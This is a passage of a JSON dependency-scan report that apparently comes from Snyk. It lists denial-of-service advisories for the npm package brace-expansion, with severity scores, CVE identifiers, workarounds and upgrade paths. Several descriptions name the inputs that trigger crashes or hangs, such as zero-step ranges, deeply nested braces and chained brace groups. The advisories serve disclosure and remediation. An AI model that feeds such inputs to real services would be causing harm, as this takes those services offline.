"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
